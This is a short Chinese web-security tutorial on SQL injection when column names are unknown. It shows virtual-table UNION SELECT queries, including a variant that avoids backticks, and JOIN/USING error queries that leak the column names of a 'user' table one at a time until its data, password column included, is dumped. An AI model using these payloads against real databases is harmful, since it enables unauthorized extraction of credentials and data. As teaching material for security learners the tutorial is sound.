WEB安全--SQL注入--无列名注入

一、原理:

当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

sql 复制代码
#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

sql 复制代码
select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

sql 复制代码
# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 
相关推荐
会飞的大可7 小时前
Docker 企业级镜像构建与安全实践
安全·docker·容器
木斯佳17 小时前
HarmonyOS 6实战:AI时代的“信任危机“,如何处理应用的请求拦截与安全防护
人工智能·安全·harmonyos
还是做不到嘛\.17 小时前
Dvwa靶场-SQL Injection (Blind)-基于sqlmap
数据库·sql·web安全
C++ 老炮儿的技术栈18 小时前
分享一个安全的CString
c语言·c++·windows·git·安全·visual studio
木心术119 小时前
OpenClaw主动反爬虫机制安全配置指南
爬虫·安全
风途_说气象水文19 小时前
大坝安全监测站:守护水利安全~
其他·安全
小陈工19 小时前
2026年3月31日技术资讯洞察:AI智能体安全、异步编程突破与Python运行时演进
开发语言·jvm·数据库·人工智能·python·安全·oracle
网硕互联的小客服20 小时前
CentOS系统如何卸载桌面并以shell 字符界面启动?
运维·服务器·网络·安全
字符串str21 小时前
sql的基本技术栈
数据库·sql·oracle
智算菩萨21 小时前
【论文精读】通过元学习与关联规则挖掘增强人工智能在网络安全领域特征选择中的可解释性
论文阅读·人工智能·学习·web安全·论文笔记